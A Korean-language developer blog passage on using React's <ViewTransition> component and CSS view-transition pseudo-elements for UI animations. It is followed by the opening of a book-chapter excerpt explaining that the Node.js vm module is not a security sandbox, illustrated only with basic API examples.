import {onNavigate} from '$app/navigation'

onNavigate((navigation) => {
  if (!document.startViewTransition) return

  return new Promise((resolve) => {
    document.startViewTransition(async () => {
      resolve()
      await navigation.complete
    })
  })
})
```

SvelteKit은 공식적으로 ["View Transition의 동작 방식을 크게 추상화하지 않는다 — 브라우저 내장 API를 직접 사용하는 것"](https://svelte.dev/blog/view-transitions)이라고 밝히고 있다. 프레임워크가 DOM 타이밍을 제어할 필요가 없으니 가능한 일이다.

**Angular**는 라우터에 [`withViewTransitions()`](https://angular.dev/api/router/withViewTransitions)를 추가하면 된다. Change Detection 사이클에서 DOM을 동기적으로 업데이트하므로, `startViewTransition` 콜백 안에서의 타이밍 문제가 발생하지 않는다.

```ts
export const appConfig: ApplicationConfig = {
  providers: [provideRouter(routes, withViewTransitions())],
}
```

**Nuxt (Vue)** 는 설정 한 줄(`experimental.viewTransition: true`)로 끝난다. Vue의 반응성 시스템은 마이크로태스크 큐에서 배치 업데이트하지만, `nextTick`으로 DOM 변경 완료 시점을 예측할 수 있다.

React는 가상 DOM 디핑, Concurrent Rendering, Suspense, 자동 배칭이 결합되어 "DOM이 언제 바뀌는지"를 프레임워크만 알고 개발자에게 노출하지 않는다. View Transition API는 정확히 그 타이밍에 개입해야 하므로, 전용 컴포넌트가 필요했다.

|                | 추상화 수준         | DOM 업데이트                    | View Transition 통합                         |
| -------------- | ------------------- | ------------------------------- | -------------------------------------------- |
| **SvelteKit**  | 최소 (훅 하나)      | 시그널 기반 직접 업데이트       | `onNavigate`에서 네이티브 API 직접 사용      |
| **Angular**    | 라우터 설정 한 줄   | 동기적 (Change Detection)       | `withViewTransitions()`가 라우터에 자동 연결 |
| **Nuxt (Vue)** | 설정 한 줄          | 마이크로태스크 배칭 (예측 가능) | `experimental.viewTransition: true`          |
| **React**      | 전용 컴포넌트 + API | 비동기 (가상 DOM, Concurrent)   | `<ViewTransition>` + `addTransitionType`     |

React의 접근 방식이 가장 무겁지만, 그 덕에 다른 프레임워크에서는 불가능한 것도 있다. Suspense 경계를 넘나드는 애니메이션, `useDeferredValue`와의 자동 연동, 선언적 shared element 매칭은 React가 렌더링 전체를 제어하기 때문에 가능한 것이다.

## 핵심 구조: What, When, How

### What — 무엇을 애니메이션할 것인가

`<ViewTransition>`으로 감싸면 된다.

```tsx
<ViewTransition>
  <div>이 요소가 애니메이션 대상이 된다</div>
</ViewTransition>
```

### When — 언제 애니메이션이 발동하는가

세 가지 트리거가 있다.

- `startTransition(() => setState(...))`
- `useDeferredValue(value)`
- `<Suspense>` fallback이 실제 콘텐츠로 전환될 때

일반적인 `setState()`로는 발동하지 않는다. 이건 의도적인 설계다. 모든 상태 변경마다 애니메이션이 걸리면 오히려 UX가 나빠진다.

```tsx
// ❌ 애니메이션 발동 안 됨
const handleClick = () => {
  setShowDetail(true)
}

// ✅ 애니메이션 발동
const handleClick = () => {
  startTransition(() => {
    setShowDetail(true)
  })
}
```

### How — 어떻게 애니메이션할 것인가

CSS의 View Transition pseudo-selector로 정의한다. 별도 CSS를 지정하지 않으면 기본 cross-fade가 적용된다.

```css
::view-transition-old(.slow-fade) {
  animation-duration: 500ms;
}

::view-transition-new(.slow-fade) {
  animation-duration: 500ms;
}
```

CSS만으로 부족할 때는 콜백을 사용할 수 있다. `onEnter`, `onExit`, `onUpdate`, `onShare` 네 가지 콜백이 있으며, 각각 애니메이션된 DOM 요소와 transition 타입 배열을 인자로 받는다.

```tsx
<ViewTransition
  onEnter={(element, types) => {
    element.animate(
      [
        {transform: 'scale(0.8)', opacity: 0},
        {transform: 'scale(1)', opacity: 1},
      ],
      {duration: 300, easing: 'ease-out'},
    )
  }}
>
  <Component />
</ViewTransition>
```

Web Animations API와 조합하면 CSS로 표현하기 어려운 동적인 애니메이션도 가능하다.

## View Transition의 Pseudo-Element 구조

View Transition이 발동하면 브라우저는 다음과 같은 pseudo-element 트리를 생성한다. 이 구조를 이해해야 CSS 커스터마이징이 가능하다.

```text
::view-transition
└── ::view-transition-group(name)
    └── ::view-transition-image-pair(name)
        ├── ::view-transition-old(name)    ← 전환 전 스냅샷 (이미지)
        └── ::view-transition-new(name)    ← 전환 후 라이브 표현
```

- `::view-transition-old`: 전환 **전** 상태의 정적 스냅샷이다. 기본적으로 `opacity: 1 → 0` 애니메이션이 적용된다.
- `::view-transition-new`: 전환 **후** 상태의 라이브 표현이다. 기본적으로 `opacity: 0 → 1` 애니메이션이 적용된다.
- `::view-transition-group`: old와 new를 감싸는 컨테이너로, 위치와 크기의 전환을 담당한다.

React에서는 `<ViewTransition>`의 prop으로 전달한 CSS 클래스가 이 pseudo-element들의 selector로 사용된다.

```tsx
<ViewTransition enter="slide-in">
  <Component />
</ViewTransition>
```

이렇게 하면 enter 시 `::view-transition-old(.slide-in)`, `::view-transition-new(.slide-in)` 등의 selector가 활성화된다.

## 네 가지 활성화 유형

`<ViewTransition>`은 상황에 따라 네 가지 유형으로 활성화된다. React가 DOM 변경의 성격을 판단해서 어떤 유형으로 활성화할지 자동으로 결정한다.

| 유형     | 설명                                                         | 예시                           |
| -------- | ------------------------------------------------------------ | ------------------------------ |
| `enter`  | 컴포넌트가 Transition 도중 마운트될 때                       | 조건부 렌더링으로 새 요소 등장 |
| `exit`   | 컴포넌트가 Transition 도중 언마운트될 때                     | 요소 제거, 페이지 전환         |
| `update` | 내부 DOM이 변경되거나 레이아웃이 이동할 때                   | props 변경, 리스트 재정렬      |
| `share`  | 같은 `name`의 요소가 한쪽에서 사라지고 다른 쪽에서 나타날 때 | 페이지 간 동일 요소 전환       |

각 유형에 대해 개별 CSS 클래스를 지정할 수 있다.

```tsx
<ViewTransition enter="slide-in" exit="slide-out" update="cross-fade">
  <Component />
</ViewTransition>
```

`default` prop을 사용하면 별도 지정하지 않은 유형에 대한 기본값을 설정할 수 있다. 문자열 또는 객체 두 가지 형태를 받는다.

```tsx
// 문자열: 모든 유형에 같은 클래스 적용
<ViewTransition default="fade" enter="slide-up">
  <Component />
</ViewTransition>
```

이 경우 enter는 `slide-up`, 나머지(exit, update, share)는 `fade`가 적용된다.

```tsx
// 객체: transition type에 따라 다른 클래스 매핑
<ViewTransition
  default={{
    'nav-forward': 'slide-left',
    'nav-back': 'slide-right',
    default: 'fade',
  }}
>
  <Component />
</ViewTransition>
```

객체 형태에서 키는 `addTransitionType`으로 지정한 타입 문자열이고, 값은 CSS 클래스명이다. `default` 키는 매칭되는 타입이 없을 때의 폴백이다. 이 패턴은 뒤에서 다루는 방향별 슬라이드 예제에서 자세히 살펴본다.

## 실전 예제 1: Enter/Exit 애니메이션

가장 기본적인 사용법이다. 요소가 나타나고 사라지거나, 페이지가 전환될 때 애니메이션을 적용한다.

토글로 패널을 열고 닫는 경우:

```tsx
import {useState, startTransition, ViewTransition} from 'react'

function TogglePanel() {
  const [show, setShow] = useState(false)

  return (
    <div>
      <button onClick={() => startTransition(() => setShow(!show))}>
        {show ? '닫기' : '열기'}
      </button>
      {show && (
        <ViewTransition enter="slide-up" exit="slide-down">
          <div className="panel">
            <h3>패널 내용</h3>
            <p>이 패널은 애니메이션과 함께 나타나고 사라진다.</p>
          </div>
        </ViewTransition>
      )}
    </div>
  )
}
```

```css
::view-transition-new(.slide-up) {
  animation:
    300ms ease-out slide-in-up,
    300ms ease-out fade-in;
}

::view-transition-old(.slide-down) {
  animation:
    200ms ease-in slide-out-down,
    200ms ease-in fade-out;
}

@keyframes slide-in-up {
  from {
    transform: translateY(20px);
  }
  to {
    transform: translateY(0);
  }
}

@keyframes slide-out-down {
  from {
    transform: translateY(0);
  }
  to {
    transform: translateY(20px);
  }
}

@keyframes fade-in {
  from {
    opacity: 0;
  }
}

@keyframes fade-out {
  to {
    opacity: 0;
  }
}
```

"열기"를 누르면 패널이 아래에서 위로 올라오면서 fade-in되고, "닫기"를 누르면 아래로 내려가면서 fade-out된다. `startTransition` 없이 `setShow(!show)`만 호출하면 애니메이션 없이 즉시 나타나고 사라진다.

> [네이티브 View Transition API로 재현한 데모](/demos/view-transition/1-enter-exit.html)에서 실제 동작을 확인할 수 있다. (Chrome/Edge에서 열 것)

페이지 전환도 같은 패턴이다. 라우터가 내부적으로 `startTransition`을 사용하고 있다면, `<ViewTransition>` 하나로 충분하다.

```tsx
function App() {
  const {url} = useRouter()

  return <ViewTransition>{url === '/' ? <Home /> : <Details />}</ViewTransition>
}
```

이것만으로 페이지 전환 시 이전 페이지가 서서히 사라지고 새 페이지가 서서히 나타나는 cross-fade가 적용된다.

## 실전 예제 2: Shared Element Transition

두 페이지에 걸쳐 동일한 요소가 자연스럽게 이동하는 애니메이션을 만들 수 있다. iOS의 Hero Animation, Android의 Shared Element Transition과 유사한 효과다.

핵심 원리는 간단하다. 같은 `name` prop을 가진 `<ViewTransition>`이 한쪽에서 언마운트되고 다른 쪽에서 마운트되면, React가 이를 같은 요소의 전환으로 인식한다.

목록 페이지:

```tsx
function VideoList({videos}) {
  return (
    <div className="grid">
      {videos.map((video) => (
        <Link key={video.id} href={`/video/${video.id}`}>
          <ViewTransition name={`video-${video.id}`}>
            <img src={video.thumbnail} alt={video.title} />
          </ViewTransition>
          <ViewTransition name={`title-${video.id}`}>
            <h3>{video.title}</h3>
          </ViewTransition>
        </Link>
      ))}
    </div>
  )
}
```

상세 페이지:

```tsx
function VideoDetail({video}) {
  return (
    <div>
      <ViewTransition name={`video-${video.id}`}>
        <video src={video.url} controls />
      </ViewTransition>
      <ViewTransition name={`title-${video.id}`}>
        <h1>{video.title}</h1>
      </ViewTransition>
      <p>{video.description}</p>
    </div>
  )
}
```

목록에서 상세로 이동하면, 그리드 안의 작은 썸네일이 상세 페이지의 큰 영상 플레이어 위치로 확대되면서 이동하고, 작은 `h3` 제목이 큰 `h1` 위치로 자연스럽게 전환된다. CSS를 한 줄도 쓰지 않아도 위치, 크기, 형태의 보간이 자동으로 처리된다. 뒤로 가기를 누르면 반대 방향으로 같은 애니메이션이 재생된다.

> [데모](/demos/view-transition/2-shared-element.html)에서 카드를 클릭하면 이미지와 제목이 상세 뷰로 확대·이동하는 것을 확인할 수 있다.

실제 앱에서는 이 shared element를 방향별 슬라이드와 조합하는 경우가 많다. Layout에서 `<ViewTransition>`으로 콘텐츠 영역을 감싸면, 이미지는 shared element로 이동하고 나머지 콘텐츠는 슬라이드로 전환된다. 두 애니메이션이 동시에 진행되어 네이티브 앱 같은 경험이 만들어진다.

```tsx
function Layout({children}) {
  return (
    <div>
      <Header />
      <ViewTransition
        default={{
          'nav-forward': 'slide-left',
          'nav-back': 'slide-right',
          default: 'fade',
        }}
      >
        <main>{children}</main>
      </ViewTransition>
    </div>
  )
}
```

**주의할 점:**

- 같은 `name`을 가진 `<ViewTransition>`은 **동시에 하나만** 마운트되어야 한다. 같은 이름이 두 개 이상 마운트되면 에러가 발생한다.
- 양쪽 요소가 모두 viewport 안에 있어야 shared transition이 형성된다.

## 실전 예제 3: 네비게이션 방향에 따른 슬라이드 애니메이션

뒤로 가기와 앞으로 가기에서 다른 방향으로 슬라이드하는 패턴이다. `addTransitionType` API를 사용한다.

```tsx
import {startTransition, addTransitionType, ViewTransition} from 'react'

function useNavigate() {
  const router = useRouter()

  return {
    forward(url: string) {
      startTransition(() => {
        addTransitionType('nav-forward')
        router.push(url)
      })
    },
    back() {
      startTransition(() => {
        addTransitionType('nav-back')
        router.back()
      })
    },
  }
}
```

`<ViewTransition>`에서 타입별로 다른 클래스를 매핑한다.

```tsx
function App() {
  const {url} = useRouter()

  return (
    <ViewTransition
      default={{
        'nav-forward': 'slide-left',
        'nav-back': 'slide-right',
        default: 'fade',
      }}
    >
      <Page url={url} />
    </ViewTransition>
  )
}
```

CSS 애니메이션을 정의한다.

```css
/* 앞으로 갈 때: 현재 페이지는 왼쪽으로 사라지고, 새 페이지는 오른쪽에서 들어온다 */
::view-transition-old(.slide-left) {
  animation:
    150ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
    400ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-left;
}

::view-transition-new(.slide-left) {
  animation:
    210ms cubic-bezier(0, 0, 0.2, 1) 150ms both fade-in,
    400ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-right;
}

/* 뒤로 갈 때: 현재 페이지는 오른쪽으로 사라지고, 이전 페이지가 왼쪽에서 들어온다 */
::view-transition-old(.slide-right) {
  animation:
    150ms cubic-bezier(0.4, 0, 1, 1) both fade-out,
    400ms cubic-bezier(0.4, 0, 0.2, 1) both slide-to-right;
}

::view-transition-new(.slide-right) {
  animation:
    210ms cubic-bezier(0, 0, 0.2, 1) 150ms both fade-in,
    400ms cubic-bezier(0.4, 0, 0.2, 1) both slide-from-left;
}

@keyframes slide-to-left {
  to {
    transform: translateX(-50px);
  }
}

@keyframes slide-from-right {
  from {
    transform: translateX(50px);
  }
}

@keyframes slide-to-right {
  to {
    transform: translateX(50px);
  }
}

@keyframes slide-from-left {
  from {
    transform: translateX(-50px);
  }
}
```

결과적으로 "앞으로 가기"를 누르면 현재 페이지가 왼쪽으로 밀려나면서 새 페이지가 오른쪽에서 슬라이드 인되고, "뒤로 가기"를 누르면 반대 방향으로 전환된다. 네이티브 앱의 네비게이션 스택과 동일한 시각적 경험이다.

> [데모](/demos/view-transition/3-nav-slide.html)에서 상단 탭을 좌우로 이동하며 방향별 슬라이드를 확인할 수 있다.

`addTransitionType`은 하나의 `startTransition` 콜백 안에서 여러 번 호출할 수도 있다. 타입은 단순한 문자열이고, `<ViewTransition>`의 prop 객체에서 키로 매칭된다.

## 실전 예제 4: 리스트 애니메이션

`useDeferredValue`를 사용하면 검색/필터링 시 리스트 아이템이 자연스럽게 나타나고 사라진다.

```tsx
import {useState, useDeferredValue, ViewTransition} from 'react'

function FilterableList({items}) {
  const [query, setQuery] = useState('')
  const deferredQuery = useDeferredValue(query)

  const filtered = items.filter((item) =>
    item.name.toLowerCase().includes(deferredQuery.toLowerCase()),
  )

  return (
    <div>
      <input
        value={query}
        onChange={(e) => setQuery(e.target.value)}
        placeholder="검색..."
      />
      <ul>
        {filtered.map((item) => (
          <ViewTransition key={item.id}>
            <li>{item.name}</li>
          </ViewTransition>
        ))}
      </ul>
    </div>
  )
}
```

`useDeferredValue`가 자동으로 Transition을 생성하기 때문에 `startTransition`을 명시적으로 호출할 필요가 없다. 검색어를 입력하면, 필터에서 제외된 아이템이 cross-fade로 사라지고 남은 아이템이 자연스럽게 위치를 재배치한다. 검색어를 지우면 숨겨졌던 아이템이 다시 fade-in된다.

정렬도 같은 패턴이다. `startTransition`으로 정렬 기준을 바꾸면, 각 아이템이 새 위치로 이동하는 애니메이션이 자동으로 적용된다.

```tsx
<button onClick={() => startTransition(() => setSortBy('date'))}>최신순</button>
```

> [데모](/demos/view-transition/4-list-filter.html)에서 검색과 정렬 버튼을 눌러보면 아이템이 재배치되는 애니메이션을 확인할 수 있다.

**주의:** `<ViewTransition>`의 **직접적인 자식**이 DOM 요소여야 한다. 중간에 다른 컴포넌트 래퍼가 끼어 있으면 애니메이션이 동작하지 않을 수 있다.

## 실전 예제 5: Suspense 연동

`<Suspense>` fallback에서 실제 콘텐츠로 전환될 때도 애니메이션이 적용된다. 두 가지 배치 방법이 있는데, 결과가 다르다.

### 방법 1: 바깥에서 감싸기 (update로 동작)

```tsx
<ViewTransition>
  <Suspense fallback={<Skeleton />}>
    <Content />
  </Suspense>
</ViewTransition>
```

Skeleton에서 Content로의 전환이 하나의 update로 처리된다. 시각적으로는 스켈레톤이 서서히 투명해지면서 실제 콘텐츠가 같은 위치에서 나타나는 cross-fade 효과다.

### 방법 2: 각각 감싸기 (enter/exit로 동작)

```tsx
<Suspense
  fallback={
    <ViewTransition exit="slide-down">
      <Skeleton />
    </ViewTransition>
  }
>
  <ViewTransition enter="slide-up">
    <Content />
  </ViewTransition>
</Suspense>
```

```css
::view-transition-old(.slide-down) {
  animation:
    150ms ease-out fade-out,
    150ms ease-out slide-out-down;
}

::view-transition-new(.slide-up) {
  animation:
    210ms ease-in 150ms fade-in,
    400ms ease-in slide-in-up;
}

@keyframes slide-out-down {
  from {
    transform: translateY(0);
  }
  to {
    transform: translateY(10px);
  }
}

@keyframes slide-in-up {
  from {
    transform: translateY(10px);
  }
  to {
    transform: translateY(0);
  }
}
```

이 경우 스켈레톤이 아래로 약간 밀려나면서 사라지고, 약간의 딜레이 후 실제 콘텐츠가 아래에서 올라오면서 나타난다. enter/exit를 각각 제어할 수 있어서 더 세밀한 연출이 가능하다.

> [데모](/demos/view-transition/5-suspense-loading.html)에서 두 방법의 차이를 나란히 비교할 수 있다. "데이터 로드" 버튼을 동시에 눌러보면 차이가 뚜렷하다.

두 방법 모두 React가 데이터, CSS, 폰트 로딩이 완료될 때까지 기다린 후 애니메이션을 시작한다.

## Next.js에서 사용하기

Next.js에서는 `viewTransition` 실험적 플래그를 켜면 된다.

```ts
// next.config.ts
import type {NextConfig} from 'next'

const nextConfig: NextConfig = {
  experimental: {
    viewTransition: true,
  },
}

export default nextConfig
```

이 플래그를 켜면 `react`에서 `ViewTransition`을 `unstable_` prefix 없이 import할 수 있다. Next.js 네비게이션에 자동으로 transition type을 추가하는 기능(예: forward/back 방향을 자동으로 `addTransitionType`에 연결)은 [2026년 2월 기준으로 아직 구현되지 않았다](https://nextjs.org/docs/app/api-reference/config/next-config-js/viewTransition). 현재는 위의 예제처럼 직접 `addTransitionType`을 호출해야 한다.

Next.js의 `Link` 컴포넌트는 내부적으로 `startTransition`을 사용하므로, `<ViewTransition>`으로 감싸기만 하면 페이지 전환 애니메이션이 바로 동작한다.

```tsx
// app/layout.tsx
import {ViewTransition} from 'react'

export default function RootLayout({children}) {
  return (
    <html>
      <body>
        <Nav />
        <ViewTransition>{children}</ViewTransition>
      </body>
    </html>
  )
}
```

> [Next.js View Transition Demo](https://view-transition-example.vercel.app)에서 실제 동작하는 예제를 확인할 수 있다.

## 주의사항

### `<ViewTransition>`이 모든 애니메이션의 해결책은 아니다

React 팀이 명확히 밝힌 부분이다. React의 `<ViewTransition>`은 **React 상태 변경에 의한 UI 전환**에 특화되어 있다. 브라우저의 View Transition API 자체는 더 넓은 범위에서 쓸 수 있지만(아래에서 다룬다), React 컴포넌트로서의 `<ViewTransition>`은 다음과 같은 경계가 있다.

- ✅ 페이지 네비게이션, 모달 열기/닫기, 리스트 재정렬, 아코디언 확장
- ❌ 좋아요 버튼 하트 애니메이션, 로딩 시머, 타이핑 효과, 인터랙티브 드래그

후자는 기존처럼 CSS `animation`/`transition`이나 Framer Motion 같은 라이브러리를 사용하는 것이 맞다.

### 상태 변경 없이도 View Transition을 쓸 수 있다

React의 `<ViewTransition>`은 **React의 상태 변경**(`startTransition`, `useDeferredValue`, `Suspense`)에 의해서만 발동된다. React가 렌더링 전후의 DOM 스냅샷을 비교해야 하기 때문이다. 그래서 "상태 변경 없이 그냥 애니메이션만 넣고 싶다"는 경우에는 `<ViewTransition>`이 적합하지 않다.

하지만 **브라우저 네이티브 `document.startViewTransition()`은 아무 제약 없이 쓸 수 있다.** React 상태와 무관하게 DOM 클래스를 바꾸거나, 인라인 스타일을 토글하거나, 외부 라이브러리가 DOM을 조작하는 등 어떤 변경이든 감쌀 수 있다.

대표적인 예가 **테마 토글**이다. 다크/라이트 모드 전환은 보통 `<html>` 요소의 클래스를 바꾸는 것인데, React 상태 변경이 아닌 직접적인 DOM 조작이므로 `<ViewTransition>`으로는 애니메이션할 수 없다. 이 경우 네이티브 API를 직접 사용한다.

```tsx
function toggleTheme(e: React.MouseEvent) {
  const x = e.clientX
  const y = e.clientY

  document.startViewTransition(() => {
    // React state가 아닌 직접적인 DOM 조작
    document.documentElement.classList.toggle('dark')
  })

  // circle-clip 애니메이션을 위한 CSS 변수 설정
  document.documentElement.style.setProperty('--theme-toggle-x', `${x}px`)
  document.documentElement.style.setProperty('--theme-toggle-y', `${y}px`)
}
```

```css
/* 테마 토글 시 클릭 위치에서 원형으로 퍼지는 애니메이션 */
.theme-transition-circle::view-transition-new(root) {
  animation: circle-clip 0.5s ease-in-out;
}

@keyframes circle-clip {
  from {
    clip-path: circle(0% at var(--theme-toggle-x) var(--theme-toggle-y));
  }
  to {
    clip-path: circle(150% at var(--theme-toggle-x) var(--theme-toggle-y));
  }
}
```

정리하면:

| 상황                                                  | 사용할 API                       |
| ----------------------------------------------------- | -------------------------------- |
| React 상태 변경에 의한 UI 전환                        | `<ViewTransition>`               |
| React 외부의 DOM 조작 (테마 토글, 외부 라이브러리 등) | `document.startViewTransition()` |
| Suspense fallback → 실제 콘텐츠 전환                  | `<ViewTransition>`               |
| 스크롤 기반 애니메이션, 마우스 추적 등                | CSS `animation`/`transition`     |

두 API는 배타적이지 않다. 같은 앱에서 페이지 전환은 `<ViewTransition>`으로, 테마 토글은 `document.startViewTransition()`으로 처리하는 것이 자연스럽다. 실제로 이 블로그가 그렇게 구현되어 있다.

### prefers-reduced-motion은 직접 처리해야 한다

브라우저의 접근성 설정을 자동으로 반영하지 않는다.

```css
@media (prefers-reduced-motion: reduce) {
  ::view-transition-old(*),
  ::view-transition-new(*) {
    animation: none !important;
  }
}
```

### DOM 노드를 직접 감싸야 한다

`<ViewTransition>`은 내부의 첫 번째 DOM 노드를 대상으로 한다. 텍스트만 감싸거나, DOM 노드 없이 사용하면 동작하지 않는다.

```tsx
// ❌ 동작 안 함
<ViewTransition>
  그냥 텍스트
</ViewTransition>

// ✅ 동작
<ViewTransition>
  <span>텍스트를 감싸야 한다</span>
</ViewTransition>
```

### 같은 name은 동시에 하나만

```tsx
// ❌ 에러 발생
<ViewTransition name="hero"><img src="a.jpg" /></ViewTransition>
<ViewTransition name="hero"><img src="b.jpg" /></ViewTransition>

// ✅ 고유한 이름 사용
<ViewTransition name={`hero-${id}`}><img src="a.jpg" /></ViewTransition>
```

### 부분적으로 애니메이션을 제외하려면 `"none"`

부모에 `<ViewTransition>`을 걸었지만, 렌더링 비용이 큰 자식은 제외하고 싶을 때 사용한다.

```tsx
<ViewTransition>
  <div className="dashboard">
    <Header />
    <ViewTransition update="none">
      <HeavyChart data={chartData} />
    </ViewTransition>
    <Sidebar />
  </div>
</ViewTransition>
```

## 브라우저 지원

| 브라우저 | Same-document | Cross-document |
| -------- | :-----------: | :------------: |
| Chrome   |      ✅       |   ✅ (126+)    |
| Edge     |      ✅       |   ✅ (126+)    |
| Safari   |   ✅ (18+)    |       ❌       |
| Firefox  |      ❌       |       ❌       |

Firefox 지원이 없는 건 아쉽지만, View Transition API를 지원하지 않는 브라우저에서는 애니메이션 없이 즉시 전환되므로 기능 자체가 깨지지 않는다. Progressive enhancement로 접근하면 된다.

## 마치며

View Transition API를 React에서 쓰려면 왜 별도 컴포넌트가 필요한지, 그리고 그 컴포넌트를 어떻게 쓰는지를 살펴봤다. SvelteKit이나 Angular가 설정 한 줄로 끝내는 것에 비하면 분명 무거운 접근이지만, 그 무거움이 Suspense 연동이나 `useDeferredValue` 자동 연결 같은 React 고유의 이점으로 이어진다는 점에서 납득이 된다.

2026년 3월 현재 canary 채널에서만 사용 가능하고 stable 릴리스 일정은 공개되지 않았다. 브라우저 지원도 Firefox가 빠져 있다. 당장 프로덕션에 도입하기보다는, CSS View Transition pseudo-selector 작성법과 `addTransitionType` 패턴에 익숙해져두면 정식 릴리스 때 빠르게 적용할 수 있을 것이다.

## 참고

- [React 공식 문서: \<ViewTransition\>](https://ko.react.dev/reference/react/ViewTransition)
- [React 공식 문서: addTransitionType](https://react.dev/reference/react/addTransitionType)
- [React Labs: View Transitions, Activity, and more](https://react.dev/blog/2025/04/23/react-labs-view-transitions-activity-and-more)
- [MDN: View Transition API](https://developer.mozilla.org/en-US/docs/Web/API/View_Transition_API)
- [Next.js: viewTransition 설정](https://nextjs.org/docs/app/api-reference/config/next-config-js/viewTransition)
- [React View Transitions and Activity API tutorial (LogRocket)](https://blog.logrocket.com/react-view-transitions-activity-api/)
- [React's ViewTransition Element (Frontend Masters)](https://frontendmasters.com/blog/reacts-viewtransition-element/)
- [Fine-Grained Reactivity in Svelte 5 (Frontend Masters)](https://frontendmasters.com/blog/fine-grained-reactivity-in-svelte-5/)
- [Unlocking view transitions in SvelteKit](https://svelte.dev/blog/view-transitions)
- [Next.js View Transition Demo](https://view-transition-example.vercel.app)

---

Source: https://yceffort.kr/2026/02/nodejs-deep-dive-sample.md
Title: Node.js vm 모듈의 함정: 샌드박스가 아닌 이유
Description: 집필 중인 Node.js Deep Dive의 5.2장(vm 모듈의 함정) 일부를 미리 공개합니다.
Date: 2026-02-27
Tags: nodejs, security, javascript

## Table of Contents

> 이 글은 현재 집필 중인 [Node.js Deep Dive](https://yceffort.kr/2026/02/nodejs-deep-dive-beta-reader)의 5.2장 일부(5.2.1 ~ 5.2.3)를 미리 공개한 것입니다. 베타 리더를 모집하고 있으니 관심 있으신 분은 링크를 참고해주시면 감사하겠습니다.

## 5.2 vm 모듈의 함정: 샌드박스가 아닌 이유

신뢰할 수 없는 코드를 실행해야 하는 상황은 생각보다 자주 발생한다. 사용자가 입력한 수식을 계산하거나, 플러그인 시스템에서 서드파티 스크립트를 실행하거나, API 테스트 도구에서 pre-request 스크립트를 처리하는 경우가 그렇다. 이런 상황에서 많은 Node.js 개발자가 가장 먼저 떠올리는 것이 `vm` 모듈이다. `vm.createContext()`로 별도의 컨텍스트를 만들고 `vm.runInNewContext()`로 그 안에서 코드를 실행하면, 호스트 환경과 완전히 격리된 샌드박스가 만들어진다고 생각하기 쉽다. 실제로 npm에는 `vm` 모듈 위에 "안전한 코드 실행"을 표방하는 패키지가 여럿 존재했다. `vm2`는 월 1,600만 회 이상 다운로드될 정도로 널리 사용되었고, `safe-eval`은 이름 자체가 "안전한 eval"이었다.

그러나 Node.js 공식 문서는 명확하게 경고한다. "The node:vm module is not a security mechanism. Do not use it to run untrusted code."(vm 모듈은 보안 메커니즘이 아니다. 신뢰할 수 없는 코드를 실행하는 데 사용하지 마라.)[^1] `vm` 모듈이 제공하는 컨텍스트 분리는 별도의 전역 객체를 가진 V8 컨텍스트를 만들 뿐, 프로토타입 체인이나 에러 객체를 통해 호스트 환경에 접근하는 경로를 차단하지 못한다. `vm2`는 이 근본적 한계를 보안 래퍼로 극복하려 했지만, CVSS 10.0 점의 치명적 취약점이 반복적으로 발견되었고, 결국 2023년 7월 메인테이너가 "이 문제는 근본적으로 해결할 수 없다"고 선언하며 프로젝트를 중단했다.[^2] 이 장에서는 `vm` 모듈의 설계 목적과 실제 보호 범위를 분석하고, 구체적인 탈출 기법을 시연한 뒤, `vm` 기반 샌드박스가 실패한 역사적 사례를 살펴본다. 그리고 신뢰할 수 없는 코드를 정말로 격리해야 할 때 어떤 대안을 선택해야 하는지 다룬다.

## 5.2.1 vm 모듈의 설계 목적

`vm` 모듈은 V8 가상 머신의 컨텍스트를 다루는 도구다. JavaScript 코드를 별도의 실행 컨텍스트에서 컴파일하고 실행할 수 있게 해주는 이 모듈은 종종 "샌드박스"로 오해받지만, 실제 설계 목적은 전혀 다르다. 이 절에서는 `vm` 모듈의 핵심 API가 실제로 무엇을 하는지, 그리고 공식 문서가 왜 이것을 보안 도구로 사용하지 말라고 경고하는지 살펴본다.

### 5.2.1.1 기본 API와 동작 원리

Node.js 공식 문서는 `vm` 모듈을 "enables compiling and running code within V8 Virtual Machine contexts"(V8 가상 머신 컨텍스트 내에서 코드를 컴파일하고 실행할 수 있게 해준다)라고 설명한다.[^1] 핵심 단어는 "contexts"다. V8 Embedder's Guide는 컨텍스트를 다음과 같이 정의한다. "In V8, a context is an execution environment that allows separate, unrelated, JavaScript applications to run in a single instance of V8."(V8에서 컨텍스트란 별도의, 서로 관련 없는 JavaScript 애플리케이션이 하나의 V8 인스턴스 안에서 실행될 수 있게 하는 실행 환경이다.)[^3] 즉 컨텍스트는 독립적인 전역 스코프를 가진 실행 공간이다. 브라우저에서 각 `<iframe>`이 서로 다른 전역 객체를 가지는 것과 비슷한 개념이다.

`vm` 모듈의 핵심 API 세 가지를 살펴보자.

```javascript
import vm from 'node:vm'

// 1) vm.runInNewContext: 새 컨텍스트를 만들어 코드 실행
const result = vm.runInNewContext('x + y', {x: 10, y: 20})
console.log(result) // 30

// 2) vm.createContext + vm.runInContext: 컨텍스트를 재사용
const context = vm.createContext({counter: 0})
vm.runInContext('counter += 1', context)
vm.runInContext('counter += 1', context)
console.log(context.counter) // 2

// 3) vm.Script: 코드를 미리 컴파일해두고 반복 실행
const script = new vm.Script('value * 2')
const ctx1 = vm.createContext({value: 5})
const ctx2 = vm.createContext({value: 100})
console.log(script.runInContext(ctx1)) // 10
console.log(script.runInContext(ctx2)) // 200
```

> 예제 5.2.1 vm 모듈의 기본 API

`vm.runInNewContext()`는 컨텍스트 생성과 코드 실행을 한 번에 처리하는 단축 메서드다. 두 번째 인자로 전달한 객체가 코드 실행 시 전역 객체 역할을 한다. `vm.createContext()`는 전달받은 객체를 "컨텍스트화(contextify)"하여 V8 컨텍스트와 연결하고, 이후 `vm.runInContext()`로 그 컨텍스트 안에서 반복적으로 코드를 실행할 수 있게 한다. `vm.Script`는 코드를 미리 바이트코드로 컴파일해두어, 여러 컨텍스트에서 반복 실행할 때 파싱 비용을 절약한다.

여기서 중요한 점은 컨텍스트 내부의 코드가 호스트의 전역 변수에 접근할 수 없다는 것이다.

```javascript
import vm from 'node:vm'

globalThis.secret = '호스트의 비밀'

const result = vm.runInNewContext('typeof secret')

console.log(result) // "undefined"
console.log(globalThis.secret) // "호스트의 비밀" (변경되지 않음)
```

> 예제 5.2.2 컨텍스트 내부에서 호스트 전역 변수에 접근 불가

